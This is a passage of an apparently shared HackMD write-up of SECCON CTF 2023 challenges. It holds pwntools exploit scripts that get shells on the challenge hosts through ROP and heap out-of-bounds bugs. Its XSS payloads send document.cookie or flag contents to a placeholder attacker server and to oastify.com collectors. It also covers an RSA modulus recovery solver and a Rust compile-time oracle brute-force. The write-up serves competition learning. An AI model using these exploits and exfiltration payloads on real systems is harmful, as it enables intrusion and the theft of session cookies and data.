"rop-2-35.seccon.games" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 21700 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ set follow-fork-mode parent continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug([binary], gdbscript=gdbscript) else: conn = process([binary]) # conn = process([binary], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') payload = b'x'*0x18 payload += p64(0x401060) # gets payload += p64(0x401050) # system conn.sendline(payload) payload = b'sh\x00'*0x100 conn.sendline(payload) conn.interactive() ``` ### datastore1 ```python= #!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') binary = './chall' elf = ELF(binary) context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = "datastore1.seccon.games" RPORT = 4585 LHOST = "127.0.0.1" LPORT = 4585 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug([binary], gdbscript=gdbscript) else: # conn = process([binary]) conn = process([binary], env={'LD_PRELOAD': './libc.so.6'}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') def rec_array(i): conn.sendlineafter(b'0. Exit', b'1') for idx in range(i): conn.sendlineafter(b'index:', b'0') # index0 conn.sendlineafter(b'2. Delete', b'1') # update conn.sendlineafter(b'[a]rray/[v]alue', b'a') # array conn.sendlineafter(b'input size:', b'9') # array rec_array(0) # string conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'1') # index0 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array conn.sendlineafter(b':', b'x'*0x8) # array conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'1') # index0 conn.sendlineafter(b'2. Delete', b'2') # delete conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'1') # index0 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array conn.sendlineafter(b':', b'x'*0x8) # array conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'2') # index0 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array conn.sendlineafter(b':', b'y'*0x8) # array # victim array conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'3') # index0 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'[a]rray/[v]alue', b'a') # array conn.sendlineafter(b':', b'8') # array for i in range(1, 9): rec_array(i) # delete 0 conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'0') # index0 conn.sendlineafter(b'2. Delete', b'2') # delete # oob delete conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'9') # index16 conn.sendlineafter(b'2. Delete', b'2') # delete # oob update conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'9') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'[a]rray/[v]alue', b'v') # array conn.sendlineafter(b':', str(0xdead)) # array # exploit conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'2') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete payload = b'a'*0x70 payload += p64(10) + p64(0)*2 * 9 + p64(0xfeed0003) conn.sendafter(b'new string', payload) # leak heap address conn.sendlineafter(b'0. Exit', b'2') conn.recvuntil(b'<I> ') a = conn.recvline() heap_base = int(a) - 0x600 print(hex(heap_base)) # exploit2 conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'2') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete payload = b'a'*0x70 payload += p64(16) + p64(0)*2 * 15 + p64(0xfeed0003) conn.sendafter(b'new string', payload) # leak libc address conn.sendlineafter(b'0. Exit', b'2') conn.recvuntil(b'<I> ') a = conn.recvline() libc_base = int(a) - 0x219c00 print(hex(libc_base)) # exploit3 conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'2') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete payload = b'a'*0x70 payload += p64(1) + p64(0xfeed0002) + p64(heap_base+ 0x4f0) + p64(0) payload += p64(0x100) + p64(libc_base + 0x219098) conn.sendafter(b'new string', payload) # exploit4 conn.sendlineafter(b'0. Exit', b'1') conn.sendlineafter(b'index:', b'3') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete conn.sendlineafter(b'index:', b'0') # index16 conn.sendlineafter(b'2. Delete', b'1') # delete payload = p64(libc_base + 0xebcf8) conn.sendafter(b'new string', payload) conn.interactive() ``` ### selfcet ```python= #!/usr/bin/env python from pwn import * context(terminal=['tmux', 'splitw', '-h']) # horizontal split window # context(terminal=['tmux', 'new-window']) # open new window # libc = ELF('') binary = './xor' elf = ELF(binary) context(os='linux', arch=elf.arch) # context(log_level='debug') # output verbose log RHOST = "selfcet.seccon.games" RPORT = 9999 LHOST = "127.0.0.1" LPORT = 9999 def section_addr(name, elf=elf): return elf.get_section_by_name(name).header['sh_addr'] def dbg(ss): log.info("%s: 0x%x" % (ss, eval(ss))) conn = None opt = sys.argv.pop(1) if len(sys.argv) > 1 else '?' # pop option if opt in 'rl': conn = remote(*{'r': (RHOST, RPORT), 'l': (LHOST, LPORT)}[opt]) elif opt == 'd': gdbscript = """ b *0x00000000004011af continue """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint)) conn = gdb.debug([binary], gdbscript=gdbscript) else: conn = process([binary]) # conn = process([binary], env={'LD_PRELOAD': ''}) if opt == 'a': gdb.attach(conn) # exploit log.info('Pwning') # input() payload = b'x'*0x40 payload += p64(0xdeadbeef) + p32(0x00404100) + p32(00) + b'\xa0\x15\x35' conn.send(payload) import time time.sleep(1) conn.sendline(b'sh\x00') time.sleep(1) payload = b'z'*0x20 payload += p64(0xdeadbeef) + p32(0x00404100) + p32(00) + b'\x60\x1d\x32' conn.send(payload) time.sleep(1) conn.sendline(b'ls') conn.sendline(b'cat flag*') conn.interactive() ``` ## Web ### Bad JWT algをconstructorにするとJWTの署名が header.payload になる。 これをbase64デコードして再度base64エンコードすればsecretなしに.を含まない署名が作れるので、isAdminを有効にしたJWTを送信すればフラグが出る SECCON{Map_and_Object.prototype.hasOwnproperty_are_good} ### eeeeejs ejsのオプションパラメータcacheにtrueを指定することで、パラメータfilenameがキャッシュobjectのkeyとして参照され、参照された値は関数オブジェクトとして処理され返り値が出力される ``` https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L260-L261 https://github.com/mde/ejs/blob/v3.1.9/lib/ejs.js#L215-L222 https://github.com/mde/ejs/blob/main/lib/utils.js#L195 ``` そこで、パラメータfilenameにconstructorを指定することで、指定したview optionsがjson形式で出力される また、express-xss-sanitizerによりパラメータ値はHTMLが無害化されるが、パラメータ名には無害化が行われないため、パラメータ名にHTMLを挿入することでXSSが可能 ``` http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&<script%20src%3D/?filename%3Dconstructor%26settings%5Bview%2Boptions%5D%5Bcache%5D%3Dtrue></script>=x ``` CSPがdefault-src selfではあるが、ejsのオプションパラメータdelimiter,openDelimiter,closeDelimiterを指定することで、ejsタグを任意に変更することが可能であり、ejs構文として有効な範囲で出力を操作することが可能である これにより、render.dist.jsに任意のJavaScriptコードを挿入しつつ実行可能な出力を作成でき、当該出力をscript要素で参照することでXSSが可能になる ``` http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Balert%25281%2529%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x ``` document.cookieを参照して外部送信するpayloadをbotに送信することで、FLAGを取得できる ・payload生成(nodejs) ``` u = new URL('http://eeeeejs.seccon.games:3000/') u.searchParams.append('filename', 'render.dist.js') u.searchParams.append('delimiter', ' ') u.searchParams.append('settings[view options][openDelimiter]', ' list') u.searchParams.append('settings[view options][closeDelimiter]', '|| [];') u.searchParams.append('cb', 'a') u.searchParams.append('list', '}}});location=`//攻撃者のサーバ/?q=`+document.cookie;a=alert({a(){a=function(){') console.log(`http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3D${encodeURIComponent(u)}%3E%3C%2Fscript%3E=x`) ``` ・payload ``` http://eeeeejs.seccon.games:3000/?filename=constructor&settings[view+options][cache]=true&%3Cscript%20src%3Dhttp%3A%2F%2Feeeeejs.seccon.games%3A3000%2F%3Ffilename%3Drender.dist.js%26delimiter%3D%2B%26settings%255Bview%2Boptions%255D%255BopenDelimiter%255D%3D%2B%2Blist%26settings%255Bview%2Boptions%255D%255BcloseDelimiter%255D%3D%257C%257C%2B%255B%255D%253B%26cb%3Da%26list%3D%257D%257D%257D%2529%253Blocation%253D%2560%252F%252F攻撃者のサーバ%252F%253Fq%253D%2560%252Bdocument.cookie%253Ba%253Dalert%2528%257Ba%2528%2529%257Ba%253Dfunction%2528%2529%257B%3E%3C%2Fscript%3E=x ``` SECCON{RCE_is_po55ible_if_mitigation_4_does_not_exist} ### Simple Calc evalでJavaScriptを実行することはできるが、CSPによって /flag の内容をX-FLAGヘッダ付きでリクエストして漏洩することができない。 botはlocalhost:3000でアクセスするのでService Workerが利用できる。 Service Workerが使えればレスポンスを書き換えることができるので、CSPを無効にしてlocalhost:3000上でJavaScriptを実行することができる。 ``` payload = ` self.addEventListener('fetch', event => { if (event.request.url.includes('/foobar')) { html = "<script>fetch('http://localhost:3000/flag', { headers: {'x-flag': true} }).then(c => c.text()).then(c => navigator.sendBeacon('http://zdg6ysoe5q5gbn7b9c1muhas0j6au3is.oastify.com/?q='+c))</script>"; init = { headers: { 'Content-Type': 'text/html', 'Content-Security-Policy': "default 'self' 'unsafe-inline'" } }; event.respondWith(new Response(html, init)); } }); document = {getElementById: () => []}`; navigator.serviceWorker.register(`/js/index.js?expr=${encodeURIComponent(payload)}`).then(() => { }); setTimeout(() => window.open('/js/foobar'), 1000) ``` SECCON{service_worker_is_powerfull_49a3b7bf6d2ae18d} ### Blink iframe srcdoc内にHTMLを書き込むことができるが、iframe sandboxによりJavaScriptの実行はできない。 DOM Clobberingで sandbox.contentDocument.body.togglePopover を文字列にしてしまえばsandboxを無視してJavaScriptを実行できる。 ``` const target = wrap(sandbox.contentDocument.body); target.popover = "manual"; const id = setInterval(target.togglePopover, 400); ``` 以下のようなHTMLを埋め込めばよい ``` <iframe name=body id=body srcdoc="<a id=togglePopover name=togglePopover href='javscript:alert(1)'>"></iframe> ``` 最終payload ``` http://web:3000/#%3Ciframe%20name=body%20id=body%20srcdoc=%22%3Ca%20id=togglePopover%20name=togglePopover%20href='javscript:navigator.sendBeacon(%60http://1y08ju9gqsqiwpsduemofjvullrcf63v.oastify.com/c${document.cookie}%60);location=%60/%60'%3E%22%3E%3C/iframe%3E ``` SECCON{blink_t4g_is_no_l0nger_supported_but_String_ha5_blink_meth0d_y3t} ## Crypto ### plai\_n\_rsa $e, d$のみが判明しており, $N$を与えられていないRSA暗号. ヒント情報として$p+q$が与えられている. ただし$p, q$は素数であって$N = pq$をみたす (これは順序と単数の差を除き一意に定まる). すると $\exists k.\ ed - 1 = k\phi(N) = k(N - (p+q) + 1)$である. 仮に$k$が判明した場合$(ed - 1) / k + (p + q) - 1 = N$より$N$を計算できる. $(N, e, d)$の三つ組を持っていればRSAは復号でき, かつ今回は$e, d$は既知である. よって, 今回はこの$k$を特定する方針を取った. $k = 0$である場合$ed - 1 = 0$であるが, 今回のパラメータでは成立しないことを確認できたため, $k\ne 0$を仮定してよい. 特に以降では$ed\gt 1$を加味し$1\lt k$を仮定する. この場合$ed - k\phi(N) = 1 \iff \frac{e}{k} - \frac{\phi(N)}{d} = \frac{1}{dk}$である. さて, $\frac{1}{d}$は$2^{-2000}$以下と(整数値に比較して)極めて小さく, $1\lt k$より$\frac{1}{dk}\lt \frac{1}{d}$. よって$\frac{1}{dk}$は無視できる程度に小さく, $\frac{e}{k}$と$\frac{\phi(N)}{d}$との間には整数としての差は存在しないものとして近似できる. $\frac{1}{dk} = 0$と見做して直接近似すれば$e:k = \phi(N):d$, 換言すると$e/k = \phi(N)/d$である. $\log_2{\phi(N) / d}$の範囲は$\lfloor\log_2 N\rfloor - \log_2 d\leq \log_2 \phi(N) - \log_2 d\lt \lceil\log_2 N\rceil - \log_2 d$と押さえられる. $\log_2 d = 2046.92629\ldots$であることと$2047\lt \log_2 N\lt 2048$を用いてこれを計算すると$0.0737\leq \log_2 \phi(N) - \log_2 d\lt 1.0738$. ここで近似$e/k = \phi(N)/d$と$e = 65537$を用いると$2^{0.0737}\leq e/k\lt 2^{1.0738}$であり, $31136\lt e/2^{1.0737}\lt k \leq e/2^{0.0737} \leq 62273$が成立. この範囲であれば十分に探索可能な範囲だと判断し, 総当りする方針でコードを書いた. 結果として正しい$k$がその範囲内に入っていることを確認でき, 同時にflagを取得できた. ```python= # https://github.com/scryptos/scryptoslib from scryptos import RSA, long_to_bytes e = 65537 d = 15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793 hint = 275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148 c = 8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813 ed1 = e * d - 1 k_cand = [] for k in range(31137, 62274): if ed1 % k == 0: k_cand.append(k) for k in k_cand: nh1 = ed1 // k n_cand = nh1 + hint - 1 if n_cand % 2 == 0: continue assert e * d - 1 == k * (n_cand - hint + 1) if pow(2, ed1 + 1, n_cand) != 2: continue if pow(12345, ed1 + 1, n_cand) != 12345: continue print(n_cand) print(k) try: rsa = RSA(e=e, n=n_cand, d=d) print(f"{rsa.p = }") print(f"{rsa.q = }") print(long_to_bytes(rsa.decrypt(c))) except e: continue """ Wed Sep 20 16:53:33 JST 2023 ~/Downloads/plai_n_rsa > time python solve.py 18936616732870557554255699457049036994088317351031093582044489651796044144359529698712480672182437359558661630272417249665217035943220754133618582498039734135246424303516232079007114436837639161342438265471646042323154245299513642971562594716314100461479584511032358469111096620834553074358692898361567626996392480754014528527430527063528495411980101545552758140283448489000764285522023633742607206302091320357111951747209869411759634837407611496564539529290087478404184878780789410417775171025806654571990267737398689184781737215471932050189239540076540385167387692604358256307847323491801551671406351335354645235467 53137 rsa.p = 140573552764401357605823936771184672764694952091387854770288096537249315989269387243337046325021772999912099191923048275883668481142897289319945336527652363201552545434075208107525982286306407537964326105213638452475929618015584070741254785193547854002460568473207120569551244479752690771339874359602083207571 rsa.q = 134709668785336688740094232075457138548685666906833497370062473895464991291896418393514609977944396945672903285621052388595877290685902567635508726291665180001811791533818942657711815876547036154486783239882775197927559341872003453930377937886288600943550921645425619204467260904485344507867895885681646577577 b'SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}' real 0m0.540s user 0m0.514s sys 0m0.028s """ ``` ## Sandbox ### crabox ```python= import socket import string def test_chr(pos, ch): sk = socket.socket() sk.connect(('crabox.seccon.games', 1337)) sk.recv(1024) index = 273+pos TEMPL = b""" const _: () = { const fn qw(lhs: &[u8], rhs: &[u8]) -> bool { if lhs[0x%04x] <= rhs[0] { return false; } true } const fn ew(lhs: &str, rhs: &str) -> bool { qw(lhs.as_bytes(), rhs.as_bytes()) } assert!(ew(include_str!(file!()), "%c")); }; __EOF__ """ % (index, ord(ch)) sk.send(TEMPL) res = sk.recv(1024) sk.close() return res != b':(\n' def binarySearch(pos, array): left, right = 0, len(array)-1 while left <= right: middle = (left+right) // 2 res = test_chr(pos, array[middle]) #print('test', array[middle], res) if not res: right = middle - 1 else: left = middle + 1 return array[left] array = [chr(x) if x not in ['"'] else '_' for x in range(0x20, 0x7f)] for i in range(0, 32): print(binarySearch(i, array)) ``` Flag: `SECCON{ctfe_i5_p0w3rful}`

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully